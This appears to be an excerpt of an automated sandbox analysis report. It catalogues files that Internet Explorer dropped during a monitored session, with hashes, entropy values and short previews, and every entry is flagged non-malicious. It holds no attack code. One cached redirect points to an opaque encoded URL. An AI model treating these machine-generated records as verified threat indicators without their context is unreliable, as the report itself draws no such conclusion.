SHA-256:	8AC2E78033C0A005D2779937DEDA56371E14CE0ECEFFE920B701F71F09483F64
SHA-512:	98EB19F7080BB52771B5B389E4FD4D55E70A697AFA723B78C689C09EEA1AEACA9FF04FEDB5B1024AFED19D752B228E6723DE03B7B38CB50FCCDE90B06CEA6DD5
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A90D6F79-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29960
Entropy (8bit):	1.8628684821676544
Encrypted:	false
SSDEEP:	96:r7ZgQg6eBSqjRr2mVWgMYi9/9SgpvL9Sg2FP2:r7ZgQg6ekqjh2mVWgMYiigpvMg2FP2
MD5:	DEE18DF4D00971DF2972361EDDBC3676
SHA1:	C44ADE76DC20D39BB6D5E7075C823283A00A9771
SHA-256:	3888087904EDB74EEECC5840D497871FA123ED138F428F5C3B2C0995243E3A70
SHA-512:	43152F6C24785ED4411409D23545141624EA5D1AA6E430516A13BF7A5382AE35A310AC96DE0122832339EB94F97BFE5F8139DE24D82EB95B38E6E6B35C563EAE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{B0214097-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27364
Entropy (8bit):	1.841994411361193
Encrypted:	false
SSDEEP:	96:rWZlQw6WBSoj52FW5MpGl00N8I7Rl00N8IgJA:rWZlQw6Wkoj52FW5MpGl0IRl0dJA
MD5:	88769BF73148F680CD40F1D3B420DD37
SHA1:	3E4A69A49B6F6ABA801191E1EE2D72252E6FE30D
SHA-256:	7DC00DBE72B4B5B44532BAFCA576576BB5B6FE26C35498D08610A0E9EC75EAC7
SHA-512:	C207F096807724752FDE601ED0FB1E6D675ACF3DDAB3BA1EF22842A4C4AE38DD797E8B654F79CFA0C9A7E9DAF8B42C4619EBEC9810697275BB967E51F9723FF1
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{B9821E83-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	16984
Entropy (8bit):	1.57382554741078
Encrypted:	false
SSDEEP:	48:IwzGcpr2GwpaaG4pQKGrapbSrGQpBl8GHHpclCYTGUpG:rJZuQa68BSFjlj2lCAA
MD5:	0C927A7FE41E03D37163F6BB63A5C6A7
SHA1:	3DE8ED39071C818AF08018C8AFDABD06A54C732D
SHA-256:	CB01138ABB67F844CAD3058FB27F45EFF8F1EF6D6303026C032517C26AB3055F
SHA-512:	BF22C17E2C2F44F3F334564E5891052D43543609055A8D544D69AA8C6893A4FD148EC4D8CA5332C6316CCDAC0A198069B2AF9E94BFF1B552E3ADCFAE5A969256
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.077643292507362
Encrypted:	false
SSDEEP:	12:TMHdNMNxOEfVVqGDVVqG3nWimI002EtM3MHdNMNxOEfVVqGDVVqG3nWimI00OYGI:2d6NxO+qGLqG3SZHKd6NxO+qGLqG3SZ2
MD5:	4F548018A12B2CBB9379850F36B03ECE
SHA1:	E6402388D3C0B9D974B869AEBA318B82152FE262
SHA-256:	C3FE00BD35AE9A2E09B288D668D31780C7B3D03115E77FFE60E52B4020CBE88A
SHA-512:	A2C90DBFDC97F8A4FC92E3CAED0F49392C45272F6B2E97513D86B736DE08FD888054CD2852AB58CABCE97461776DD9172AA8B23F7C1A29FFD193CD35C96AB00E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.137148588599829
Encrypted:	false
SSDEEP:	12:TMHdNMNxe2kfiGDiG3nWimI002EtM3MHdNMNxe2kfiGDiG3nWimI00OYGkak6Ety:2d6NxrhG+G3SZHKd6NxrhG+G3SZ7Yzan
MD5:	049C164DD015A479C97FC95AD4E75804
SHA1:	A26B2ED175485B9A3D57C33AD3A8430DCBD26BB3
SHA-256:	B86D384F3D4B248520A3DEB7BB5CC45E32E787E8A6C808F25D8B7E6703516585
SHA-512:	3A9643F003AF880E9F21D1C7CBD513258AA48C01ECA4C3D3962166DB1C78E57E789154D6B0A2A9C1711042FBB3CAF3BC66F73A34AABBB037D4801A7B36AC04D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	662
Entropy (8bit):	5.098112437807373
Encrypted:	false
SSDEEP:	12:TMHdNMNxvLfVVqGDVVqG3nWimI002EtM3MHdNMNxvLfVVqGDVVqG3nWimI00OYG8:2d6NxvLqGLqG3SZHKd6NxvLqGLqG3SZy
MD5:	6BACE3C62B41027E88964AA48181C082
SHA1:	65DE27B7C058788BBCDD8E8B8A6D171A985F7A2E
SHA-256:	34C599B121358792BDCD58CD2252802714D5E4EE902DECB1604092455478DEA2
SHA-512:	EAA0FEF1EBC634D6257E29E68CCB826461AE97AB076321CCFCE745183FA4FB40C336B66948777DB0E8E35E7AC52158BC74A010C11ED9B7D2E4ECA07E9ED58E28
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	5.125006477901255
Encrypted:	false
SSDEEP:	12:TMHdNMNxifiGDiG3nWimI002EtM3MHdNMNxifiGDiG3nWimI00OYGd5EtMb:2d6NxXG+G3SZHKd6NxXG+G3SZ7YEjb
MD5:	71D8DB4823FB0D8C934FF65403A1AFDC
SHA1:	23BE727A877A0C8A03483208C598AF043B89F940
SHA-256:	FCC1CCF8A0A7303C7671DE3F1D550CF6D7A83C737365749B659AC5FA7B4169C4
SHA-512:	3E491B348D235B99F6434CC88948699C311BBE38438ADAB946A19D2BD12E700D7513E1DB3827DE912FCBBF209B1152FAB99D1B38FB15E78D8AEABBA4869D4C5C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.108282758856673
Encrypted:	false
SSDEEP:	12:TMHdNMNxhGwfVVqGDVVqG3nWimI002EtM3MHdNMNxhGwfVVqGDVVqG3nWimI00O0:2d6NxQKqGLqG3SZHKd6NxQKqGLqG3SZw
MD5:	D369955E7B1A91A8E7AA9932CDDCC50D
SHA1:	09795A8B5A6DBE8C701EC476AF152F7E9327AF1B
SHA-256:	CA27BB2A26B8CC1FE1658946485FAC67CC6225A6EC1E4ED6E7BD88EBACB82A4A
SHA-512:	B671CAC844EB0245E9EE592ABD23D45BC224C8D163AA6D988F545A705B2E4A4C9576481425BBECBC8A7AB68B4C6D6BD59EED5FAE24F107DB3245433F580DB83B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x4f5f3b4c,0x01d774c7</date><accdate>0x4f5f3b4c,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.11316320698828
Encrypted:	false
SSDEEP:	12:TMHdNMNx0nfiGDiG3nWimI002EtM3MHdNMNx0nfiGDiG3nWimI00OYGxEtMb:2d6Nx0qG+G3SZHKd6Nx0qG+G3SZ7Ygb
MD5:	E4C7A650178EB252B223A9F35518E4F7
SHA1:	353879AAF5A8A96BDCC48CD9A1B5B512AF53685F
SHA-256:	26A43EFE5AEB72CE32390FC094E8EC596BF0A3833C1057228ECD07B2C571E2CD
SHA-512:	D71480190A1516E06A322B6134C84438D16E2C4A66CD43271D28FA57C64C728BB65807F1C675F594C2AF9F354B09C2870882CA215781837CE4379FB6E0C39F42
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.148965504260306
Encrypted:	false
SSDEEP:	12:TMHdNMNxxfiGDiG3nWimI002EtM3MHdNMNxxfiGDiG3nWimI00OYG6Kq5EtMb:2d6Nx8G+G3SZHKd6Nx8G+G3SZ7Yhb
MD5:	B67BE30C884EB5A5C24D707D93FE34A5
SHA1:	1BBDE9F889A68C371415B68A425A029BB28B848B
SHA-256:	2C69C779B3F90CD6E9EDEF6043C4E96CD373AC7A042E8B2A36E5A91D1455A9E1
SHA-512:	14F68E1BD63E87A89FDF66D042DDF9CA65D97BB7353E37A7189120B45B1C939B2607E313C1CBE09EDE379FF6DBCFC3D88F774BEB56E1F26B6A4C1E819E326FC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	659
Entropy (8bit):	5.128380769085361
Encrypted:	false
SSDEEP:	12:TMHdNMNxcfiGDiG3nWimI002EtM3MHdNMNxcfiGDiG3nWimI00OYGVEtMb:2d6NxpG+G3SZHKd6NxpG+G3SZ7Ykb
MD5:	FB4B4BFC282A6989351F2FAC511DB7BB
SHA1:	5D39904F4497D8A32BE2F85DCB261B69DCC1CB6C
SHA-256:	0B80B61D6B1D2A864C67553EC47CC2519F76B797E0844599A4E8349EEE0BBD54
SHA-512:	83A0C2811556DFE0FAC926FE95A0732B7C9054A64870FDB010540075F2418B87095D2E005B52A758E728AC09CA2035671B7919E069CAB4D2F638D887075F91DC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.110206223190144
Encrypted:	false
SSDEEP:	12:TMHdNMNxfnfiGDiG3nWimI002EtM3MHdNMNxfnfiGDiG3nWimI00OYGe5EtMb:2d6NxSG+G3SZHKd6NxSG+G3SZ7YLjb
MD5:	DF443D71A7C55AF2DBC2AF7BD74E7470
SHA1:	91222EACC331FB727B527B2906C96A0B2F8A2F43
SHA-256:	3C61157C622837D6C5ABE04E3F5362959501F4976352A60F4349B2DC64C17B5C
SHA-512:	CF293B3672EFF953C85D4F718C355DC8D6A7A6DAA8686486C7624BE62378FFC4AF164FA4DED8EB5F72D36C142A0389A988474A65CC71A63C375963488CBF4567
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x4f581423,0x01d774c7</date><accdate>0x4f581423,0x01d774c7</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\gee00pr\imagestore.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	1298
Entropy (8bit):	3.8963701531382857
Encrypted:	false
SSDEEP:	24:MjkSOc8cM8cccccS8ccccccccc9ccccccccccccUPkkcIO8IO8IO8cIO8IO8IO8q:Mj1OfJSSnSSnSSnSSz0oYPI00y
MD5:	6A45E7CC9CB7F66F4C180CC9CB014996
SHA1:	2C4FA07764FB5695C3A98E58091F026FD2CDA66E
SHA-256:	53604C823C59B3105B4953B810A086FB6BD3084BEA53A7DE13E6FEE92C09A9C9
SHA-512:	83E5B17CE495F34AEC14E655F59C03D2E75E6367A5ABAE8527A965DBB5D84B2F9F07FAF5AA150EC951953B2FF3C5BD0BD5139DB48E704150A8DE74D903BE6BD7
Malicious:	false
Preview:	7.h.t.t.p.s.:././.s...u.i.c.d.n...c.o.m./.m.a.i.l.i.n.t./.9...1.7.2.5...0./.a.s.s.e.t.s./.f.a.v.i.c.o.n...i.c.o.~............... .h.......(....... ..... ..........................................................................\&!.b)].b)..c)..................................\&!.b)].b)..c).d+..d+..d+..d+..................\&!.b)].b)..c).d+..d+..d+..d+..d+..d+..d+..d+..U..c)W.b)..c).d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..c..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..d+..c)..d+..~..~..d+..d+..d+..~..~..d+..d+..d+..~..~..d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........d+..d+..d+..........d+..d+..d+..........d+..d+..d+..d+..........s>..d+..o9..........s>..d+..o9..........d+..d+..d+..d+................................................d+..d+..d+..d+...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\B[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	457
Entropy (8bit):	5.85246206841824
Encrypted:	false
SSDEEP:	12:J0+ox0RJWWPqTLtcRjKfjedFVl4dxQXET:y+OWPMgj+joFH4z
MD5:	7CDD6C617CC29175DB22EEC832306D19
SHA1:	B97AD33E345E7556B8E1A2F1306A38D0748D5CE9
SHA-256:	F7CD3CCD87E788F8608BAF1493BB22A5FA6228E510FF109C37D9D3F90421F8D3
SHA-512:	031286D8C58555E10DD845C0FCE231CB9FCACC6DDBA08598CEFD89E824BBEDBEBADFA5FDF02AB07C273780063069740A77462CC341D92561C3291DE6E11E7DF6
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw">here</a>.</p>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\adservice[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	4.088779347361362
Encrypted:	false
SSDEEP:	3:ZDEBpTYrA7:upUrA7
MD5:	EADCCDBDF98DD4B26583A4E8C3197C1D
SHA1:	EEFCAE4E7D559B53051E6A797228A291FD7D14D4
SHA-256:	B8C95BCA87EEB89E33E456C37CF97B48849A9CEF2D5D010F687EBD9F474E618C
SHA-512:	4D3EF6E334F698E162B6F7E937A368C51820EB5365560B8BCDD896C56B3096AFD50CA66D03D87FD24ADEEF4AEF474B8C69C84F604259873D4D0572C377FBB413
Malicious:	false
Preview:	ui._noadblocker = true;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\entry3[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Java source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	3738
Entropy (8bit):	5.128222360321455
Encrypted:	false
SSDEEP:	96:nsLct7RMFPdwFstUWrAXGhFdikNQLiZdCX0wqxtI929zU0S9UUug2PO15DUY:nsLc/stU2TdikeLa1wqxtAmBSaI2G15R
MD5:	77FC4E5B56286E5B7A4033AC43BE4A9F
SHA1:	95E408BA7A13AE940BC400599486AA89AFF37965
SHA-256:	E00D29F4750FE322783A6542DF251330D7B2EA19650F8BEE3CF6987F1E230283
SHA-512:	E97507A146B5163E220EC65A5CCD262608E7F15245A507A8404714B2BDF0071F734973C6EB1D41A13D617139E7F81F421635211AE63AC2423294977A8C152B24
Malicious:	false
Preview:	import{L as t,a as e,P as n}from"./pubsub-bbe1bfa8.js";function o(t){return new Promise((e,n)=>{const o="$importModule$"+Math.random().toString(32).slice(2),i=document.createElement("script"),r=()=>{delete window[o],i.onerror=null,i.onload=null,i.remove(),URL.revokeObjectURL(i.src),i.src=""};i.type="module",i.setAttribute("crossorigin",""),i.onerror=(()=>{n(new Error(`Failed to import: ${t}`)),r()}),i.onload=(()=>{e(window[o]),r()});const s=function(t){const e=document.createElement("a");return e.href=t,e.cloneNode(!1).href}(t),a=new Blob([`import * as m from '${s}'; window.${o} = m;`],{type:"text/javascript"});i.src=URL.createObjectURL(a),document.head.appendChild(i)})}const i=Object.create(null),r=console.warn.bind(console);function s(t=document,e=r,n,s){const a=function(t,e){"function"==typeof e&&(i[t]=e)},c=function(t,e,n){const o=i[t];if("function"!=typeof o)throw new Error(`[autoInit] Could not find constructor in registry for ${t}.`);if(e[t])return void n(`[autoInit] Module alre

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\head.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	6720
Entropy (8bit):	5.307833121269399
Encrypted:	false
SSDEEP:	96:tiM4y2jLh3TMLivjG87z/73iBLnUxsBE+V+p7XRD6rEuTeOZBL/y9efzxLw:7F2PKQjGa7WbEsNV+p79DmzZlweVLw
MD5:	F995A1E4925CCC2BC9D5488A78CB4814
SHA1:	3E9AB9C064FE2EE5EB6C4A46A1D1F1C7A2875BB8
SHA-256:	1BEB1C73F41C92C2365CC2CF58A5C5C6C204DFA31354AF21560374776D7EE628
